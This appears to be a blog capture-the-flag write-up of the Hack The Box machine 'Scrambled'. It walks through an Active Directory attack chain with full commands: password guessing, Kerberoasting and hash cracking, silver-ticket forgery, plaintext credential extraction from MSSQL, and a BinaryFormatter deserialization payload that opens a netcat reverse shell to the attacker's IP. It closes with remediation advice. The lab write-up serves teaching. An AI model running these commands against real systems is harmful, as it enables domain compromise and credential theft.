Hacking Insights by Max Bautista

Scrambled writeup

Scrambled writeup

Box name: Scrambled

Difficulty: Medium

OS: Windows

Overview: Scrambled is a medium Windows Active Directory machine. Enumerating the website hosted on the remote machine a potential attacker is able to deduce the credentials for the user ksimpson. On the website, it is also stated that NTLM authentication is disabled meaning that Kerberos authentication is to be used. Accessing the Public share with the credentials of ksimpson, a PDF file states that an attacker retrieved the credentials of an SQL database. This is a hint that there is an SQL service running on the remote machine. Enumerating the normal user accounts, it is found that the account SqlSvc has a Service Principal Name (SPN) associated with it. An attacker can use this information to perform an attack that is knows as kerberoasting and get the hash of SqlSvc. After cracking the hash and acquiring the credentials for the SqlSvc account an attacker can perform a silver ticket attack to forge a ticket and impersonate the user Administrator on the remote MSSQL service. Enumeration of the database reveals the credentials for user MiscSvc, which can be used to execute code on the remote machine using PowerShell remoting. System enumeration as the new user reveals a .NET application, which is listening on port 4411. Reverse engineering the application reveals that it is using the insecure Binary Formatter class to transmit data, allowing the attacker to upload their own payload and get code execution as nt authority\system.

Link: https://app.hackthebox.com/machines/Scrambled?tab=play_machine

Machine IP: 10.129.75.5

Ran rustscan against the machine.

rustscan -a 10.129.75.5 –ulimit 5000 -b 500 — -A -Pn

Screenshot of only the rustscan output to save space as there are a lot of ports open.

Checked out the webserver first. It brings us to a basic website.

Navigated around the site. Under http://10.129.75.5/support.html we notice that there is an alert and NLTM authentication has been disabled so it must be using kerberos.

Clicked further around the Resources. Under Contacting IT Support http://10.129.75.5/supportrequest.html, it shows us how to reach out to IT and it shows us a potential user ksimpson.

Under http://10.129.75.5/newuser.html it appears we can create a new user but it says it sends it to the manager once complete. I’m unsure if this would deal with foothold yet.

There is also some Sales Order software information, this is what is on port 4411 http://10.129.75.5/salesorders.html.

Lastly there is a mention of password reset and a message that if no one is available the password would just be set to the username which is a very bad process http://10.129.75.5/passwords.html.

Ran ldap search and we get the domain and hostname but nothing else too important.

ldapsearch -x -H ldap://10.129.75.5 -s base

Added scrm.local, DC1 and DC1.scrm.local to /etc/hosts. Considering the information we have from the website I tried listing shared from the ksimpson account using ksimpson as the password using nxc.

Ksimpson:ksimpson

nxc smb 10.129.75.5 -u “ksimpson” -p “ksimpson” -k –shares

It looks like we can read a few directories. Since NTLM is disabled there were a few new things I had to learn with these tools to force Kerberos authentication. I also created a kerb ticket to make it simpler.

impacket-getTGT scrm.local/ksimpson:ksimpson

export KRB5CCNAME=ksimpson.ccache

After we get the kerb ticket we can connect to the SMB shares. I checked out Public first and we see a ‘Network Security Changes.pdf’ file.

impacket-smbclient scrm.local/ksimpson@DC1 -k -no-pass

use Public

ls

get Network Security Changes.pdf

Read the PDF.

NTLM is definitely disabled as I was originally having issue authenticating as I had to learn to force kerberos authentication. The line that says ‘kerberos is 100% secure and has absolutely no way anyone could exploit it’ hints we may need to kerberoast. Microsoft says it’s a feature don’t worry. Also from the ‘Change:’, I’m assuming the Sales Order software we saw earlier is connected to the database which will have to poke at later. Kerberoasted and we actually get the sqlsvc account right away.

Ran hashcat to crack.

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

scrm.local\sqlsvc:Pegasus60

Here we can try a silver ticket attack.

pypykatz crypto nt Pegasus60

b999a16500b87d17ec7f2e2a68778f05

impacket-lookupsid scrm.local/ksimpson@DC1 -k -no-pass

Domain SID is: S-1-5-21-2743207045-1827831105-2542523200

With the necessary information to run the command we can create an Administrator ticket

impacket-ticketer -spn “MSSQLSvc/dc1.scrm.local” -user “ksimpson” -password “ksimpson” -nthash “B999A16500B87D17EC7F2E2A68778F05” -domain scrm.local -domain-sid “S-1-5-21-2743207045-1827831105-2542523200” -dc-ip dc1.scrm.local Administrator

Export it.

export KRB5CCNAME=Administrator.ccache

Now we can connect to mssql as administrator.

impacket-mssqlclient -k dc1.scrm.local

SELECT name FROM sys.databases;

There is a database called ScrambleHR.

SELECT TABLE_NAME FROM ScrambleHR.INFORMATION_SCHEMA.TABLES;

There’s a few interesting tables but UserImport gives us new credentials to an account MiscSvc.

SELECT * FROM ScrambleHR.dbo.UserImport

MiscSvc:ScrambledEggs9900

Did enumeration with this account.

nxc smb 10.129.75.5 -u “MiscSvc” -p “ScrambledEggs9900” -k –shares

We can read the IT drive.

impacket-smbclient scrm.local/MiscSvc@DC1 -k -no-pass

Under the Apps directory we can see a ScrambleClient executable which was the software we saw earlier.

We can reverse it to see exactly what it does with ilspycmd.

ilspycmd ScrambleClient.exe > scramble.cs

cat scramble.cs

ilspycmd ScrambleLib.dll > scramble2.cs

cat scramble2.cs

When reading through the reversed dll file it looks like there is a Developer logon bypass with user scrmdev.

Got a shell as MiscSvc and I was able to get user.txt

evil-winrm -i dc1.scrm.local -u MiscSvc -p ‘ScrambledEggs9900’ -r scrm.local

I ended up getting stuck here. I was unable to find a way to rdp into the device. I peeked at the writeup and it looks like we need a Windows box to do the further exploiting but I run Kali only at the moment.

Apparently when you open the .exe there is a Tools debug menu which allows for logging and creates a ScrambleDebugLog.txt.

In that there is serialization and a Binary Formatter class showing the commands to the server. You can use a tool ysoserial.exe (but again Windows) to generate a payload and send it over telnet. Uploaded nc to Desktop.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c

“C:\users\miscsvc\Desktop\nc.exe -e powershell 10.10.16.27 4444” > payload.b64

printf “UPLOAD_ORDER;%s\n” “$(cat payload.b64)” | nc scrm.local 4411

And we get a shell as NT System and can grab root.txt

GG

Attack Chain

1 – Reconnaissance
 Ran RustScan and identified a domain-joined Windows machine with many open ports including 80 (HTTP), 445 (SMB), 1433 (MSSQL), and 4411 (custom service). Browsed the web server and gathered several key intelligence points: NTLM authentication was disabled in favor of Kerberos, the page showed a potential username ksimpson, a password reset policy set passwords to the username by default, and a Sales Order application was running on port 4411. Added scrm.local, DC1, and DC1.scrm.local to /etc/hosts.

2 – Kerberos authentication and SMB enumeration
 Tried ksimpson:ksimpson based on the default password policy hint. Obtained a Kerberos TGT and connected to SMB shares using Kerberos only. Found a readable Public share containing a PDF that confirmed NTLM was disabled and hinted at SQL service Kerberoasting as the next step.

impacket-getTGT scrm.local/ksimpson:ksimpson
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient scrm.local/ksimpson@DC1 -k -no-pass

3 – Kerberoasting and Silver Ticket attack
 Kerberoasted and recovered a TGS hash for the sqlsvc account. Cracked it with Hashcat using rockyou. Computed the NT hash of the password and retrieved the domain SID. Forged a Silver Ticket impersonating Administrator for the MSSQLSvc SPN and connected to MSSQL as Administrator.

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
impacket-ticketer -spn “MSSQLSvc/dc1.scrm.local” -nthash “B999A16500B87D17EC7F2E2A68778F05” -domain scrm.local -domain-sid “S-1-5-21-2743207045-1827831105-2542523200” Administrator
impacket-mssqlclient -k dc1.scrm.local

Credentials recovered: sqlsvc:Pegasus60

4 – Database credential extraction and WinRM access
 Enumerated the ScrambleHR database and found a UserImport table containing plaintext credentials for MiscSvc. Authenticated via WinRM using Kerberos and retrieved user.txt.

Credentials recovered: MiscSvc:ScrambledEggs9900

5 – .NET binary reverse engineering and BinaryFormatter deserialization RCE
 Accessed the IT share as MiscSvc and downloaded the ScrambleClient.exe and ScrambleLib.dll. Decompiled both with ilspycmd and identified a developer logon bypass and the use of the insecure BinaryFormatter class for serializing data sent to port 4411. Generated a deserialization payload using ysoserial.exe on a Windows host, encoding a command to execute netcat. Sent the payload to port 4411 via netcat and caught a shell as NT AUTHORITY\SYSTEM. Retrieved root.txt.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c “nc.exe -e powershell 10.10.16.27 4444”
printf “UPLOAD_ORDER;%s\n” “$(cat payload.b64)” | nc scrm.local 4411

Key Takeaways

  1. Default password policy setting passwords to the username – The website documented a policy of resetting passwords to the username when no IT staff were available. This is a critical misconfiguration that enabled the entire attack chain. Password reset policies must never use predictable values and must require a secure out-of-band delivery of a randomly generated temporary password.
  2. Kerberoastable service account with a weak password – The sqlsvc account had an SPN registered and its password was crackable with rockyou. Service accounts with SPNs must use passwords of at least 25 randomly generated characters or be replaced with Group Managed Service Accounts to eliminate the Kerberoast risk entirely.
  3. Silver Ticket attack enabled by service account compromise – The sqlsvc NT hash was sufficient to forge Silver Tickets impersonating any domain user for the MSSQL service without contacting the domain controller. Service account password compromise in a Silver Ticket context bypasses all domain-level monitoring and must be treated as a critical incident requiring immediate rotation.
  4. Plaintext credentials stored in a database table – MiscSvc credentials were stored in plaintext in the ScrambleHR UserImport table, accessible to anyone with MSSQL Administrator access. Credentials must never be stored in database tables in any form and must be managed through a secrets management solution.
  5. BinaryFormatter deserialization in a network-accessible service enabling SYSTEM RCE – The Sales Order service used the insecure BinaryFormatter class to deserialize untrusted data received over the network, allowing arbitrary code execution as SYSTEM. BinaryFormatter must never be used and must be replaced with a safe serializer such as System.Text.Json. Services processing serialized data must validate and authenticate all input before deserialization.

Remediation

[Immediate] Change the password reset policy
 Remove the policy of setting passwords to the username immediately. All password resets must generate a randomly generated temporary password delivered through a secure out-of-band channel. Force a password change on first login and expire the temporary credential after 24 hours.

[Immediate] Rotate all compromised credentials and the MSSQL service account
 Rotate ksimpson, sqlsvc, and MiscSvc credentials immediately. Replace the sqlsvc standard user account with a Group Managed Service Account to eliminate the Kerberoast attack surface. Rotate all credentials recoverable from the ScrambleHR database.

[Immediate] Remove plaintext credentials from the UserImport table
 Audit the ScrambleHR database for all tables storing credential data and remove any plaintext or reversibly encoded passwords. Implement a process ensuring credentials are never stored in application databases and must flow through a secrets management solution.

[Immediate] Replace BinaryFormatter in the Sales Order service
 Rewrite the port 4411 service to use a safe serialization library such as System.Text.Json or Protobuf. Require authentication before accepting any serialized input. Restrict network access to port 4411 to authorized clients only via host firewall rules.

[Short-term] Restrict MSSQL access and audit Silver Ticket indicators
 Restrict MSSQL access to authorized application servers only. Deploy SIEM detection rules for Silver Ticket usage including Kerberos service ticket requests that bypass the KDC. Monitor for anomalous MSSQL authentication patterns including Administrator impersonation via forged tickets.

[Long-term] Implement a tiered AD and service account governance program
 Audit all accounts with SPNs and migrate service accounts to gMSAs. Define a policy prohibiting plaintext credential storage in any application database. Include BinaryFormatter usage scanning in code reviews and SAST tooling. Add Silver Ticket and Kerberoasting attack paths to the regular penetration testing scope.

Leave a Reply